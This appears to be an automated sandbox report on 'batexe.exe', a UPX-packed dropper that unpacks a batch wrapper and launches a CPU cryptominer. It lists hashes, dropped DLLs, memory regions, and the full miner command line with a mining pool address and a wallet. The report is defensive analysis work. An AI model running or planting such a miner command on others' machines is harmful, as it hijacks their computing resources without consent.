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Analysis

  • max time kernel
    296s
  • max time network
    300s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    11/02/2024, 14:03

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4572
    • C:\Users\Admin\AppData\Local\Temp\B47B.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\B47B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B47B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3692
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BA09.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3704
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1352

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\B47B.tmp\b2e.exe

    Filesize

    768KB

    MD5

    41acb3c7c35169437c8e50c36e39f5a5

    SHA1

    6b7a95c8fb404247edb7430b46e931495eeba0d1

    SHA256

    77003c5f07279f31ace3879feb99ce0568a05bc7bc56ecd5707bc0581cb6016a

    SHA512

    670b258078f3ccd9e3e710a994d95d406094dab87b4e4e11e3b312a7883631877ea896bc53150cb8b9bb8a0500df129005973212fce0541978df505edbe7d145

  • C:\Users\Admin\AppData\Local\Temp\B47B.tmp\b2e.exe

    Filesize

    512KB

    MD5

    e4d2817f5e794155ac4a8a1445b9d728

    SHA1

    07f6972ab84878cee3a3e158cf9b0b27c8ad175d

    SHA256

    24781b2a837565d59faae5eff35a839726a5aa2f952f46e5e5b593f53ab6774b

    SHA512

    9ed2839db8465f9eb07d9bb2d29e1a35cc1c2e0b8c8f52007248752df018c899135e6d3f944e7e1363b3d5fe4928ccb71725fcaafedfd3cd496307619cf164f6

  • C:\Users\Admin\AppData\Local\Temp\BA09.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    448KB

    MD5

    ca0b33f54480aa9c590d09f72e3feb31

    SHA1

    d50dc7dd964feb0d7516c3037e7dc7e008420ae5

    SHA256

    67833a9e63d8b7469a3a3415124a2426893a6174ce2bd88bea520c68319d182d

    SHA512

    266dcd9c5bfe2b117fda6bf7c4250a908233d8474bd0b09596a0bd0fa2e5bc75446a20b46cb7e516ef75b5661bbe16c714e8dcc5962a0f481cbaecdf6135affd

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    384KB

    MD5

    d1d1f36cdbccda3b96e8c164afb74526

    SHA1

    91bafcd404c8568c9a195ec8cbf9592ea9e17e8b

    SHA256

    ea6e726150aa9a8dcf9ccb6a991440b451f9f2dcc46d93cb35971556879d1d03

    SHA512

    2306e6578ba2217b4f32913e1ac35e0547723b873c11244e96affd05457945373c621ea16a82e1e3aa1a177e3059efc40c8585118c63a3ea145524c51d1d18c9

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    448KB

    MD5

    8185100383d0fe360c9198e5a883b08d

    SHA1

    ab398c469573f8e84d3cfcef01287a0604d6ab5f

    SHA256

    05ef7288b0d559bf67c3d69c201da9bdcaed0b49ecc538640f7b96c5b82eb538

    SHA512

    24930ef0caa1f2db2ed60f7dfdb832a172cf7747b0a336b051f73c0087a5f2fabff721487cb49cf5a3bc2be5426554b0a3a0e51541b6a4ca735646af24f1404a

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    448KB

    MD5

    ca123cec7f705c0af114e462349dc686

    SHA1

    75f90b4d95f6774b2f66e4ba790755ef118ab222

    SHA256

    7f141cdc0be9c965e21310bcfb0484b20d31ffd8a6a970f8b5a53c0e8974798a

    SHA512

    650125faa9ae6733f1118caf3101ca6850473f78f9bfc3a87e908eac1c69935e3bc269ffb5de4dd6e867429c1af35c7f3b9e62eb698fa7c9695d68e7115f3f1c

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    244KB

    MD5

    455e12ccc189bc4523f60e6ba6ca511c

    SHA1

    c27885dc8cfa20d332aef7cd186449332cc62b6f

    SHA256

    f10def8a6486538586a9e7898a1b8bad91a19a5d7d65abae3f3597cad080671c

    SHA512

    9d7969ea2504494f4d8dd43fa6cce40fe630990a3c41e4a5d24e5e06e23cf1a8a67d914b644277e461cf4db0a7cf6b6aa8cc580eaf93c7697cfba672954e2ee7

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    256KB

    MD5

    11e8812bfa1d698cdeb73a16c1d7c963

    SHA1

    e8708fd452ab5946b380d0c353ac26acf289e548

    SHA256

    e0f9ddf8afd30511763f0cf792369e32c955f15d9529c00c5fe9298a80d74402

    SHA512

    fd54c9c6f3520b2ced6b42235ebfce6d8b622c53f1fbf810baace657a7d44430968b5ff90cd1d860dbdf7550dd8cd467636c862ff0dd0832f25145efccc7731e

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    192KB

    MD5

    d73b46cd072058efc54c4b3885f47e13

    SHA1

    84771c2c4f5736ac08497737cba2a8634d9e9178

    SHA256

    3f62bb203bdcca4e489401897e0558cf33ad6fe890a9987f90f5c3894b965b34

    SHA512

    519c91b5b5a82c5a755d7d4295c040cfb6b0f029eb088a6bfc428db11e30d7f954ea6fd6de9b083d1781e1142737ea39572866ab5f669848dff7ef0ce34c79c7

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    64KB

    MD5

    e98583e2f3157ea2561f40a91a79b195

    SHA1

    770932f48dbea7a78a3b21e3df65e329a27313ff

    SHA256

    f6b3de2ac1e9c449daf82a3bd6fa52d2ed60e73e8cdd25d5d2194586a8d10de2

    SHA512

    cfa97067447a389dc5439dc42ca467f97947fa7010314cad0b99655688361721720bb33e34a1c7b22c93d807327b756109f63d15a40df5aaec620b0d0e1acc7f

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    256KB

    MD5

    eca0c37eee65c31b869788d5d0bf00cd

    SHA1

    33a5c0cd2f0a7296a5c0169699ed8e065b57e5e8

    SHA256

    1d2b7bd4ddd99d627d5111252baadf028dc9910cf414892867502e5951de962e

    SHA512

    5f302da7772fca0a6d03ffd8732850f526acf5fcc33e189d2d906a33101454d970d5cca2f829a006d15c4a857341d72c7876cb2e7af84ada4f158695aba5a4dc

  • memory/1352-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/1352-42-0x000000005F450000-0x000000005F4E8000-memory.dmp

    Filesize

    608KB

  • memory/1352-43-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/1352-44-0x0000000001110000-0x00000000029C5000-memory.dmp

    Filesize

    24.7MB

  • memory/1352-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-50-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/1352-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3692-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3692-55-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4572-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB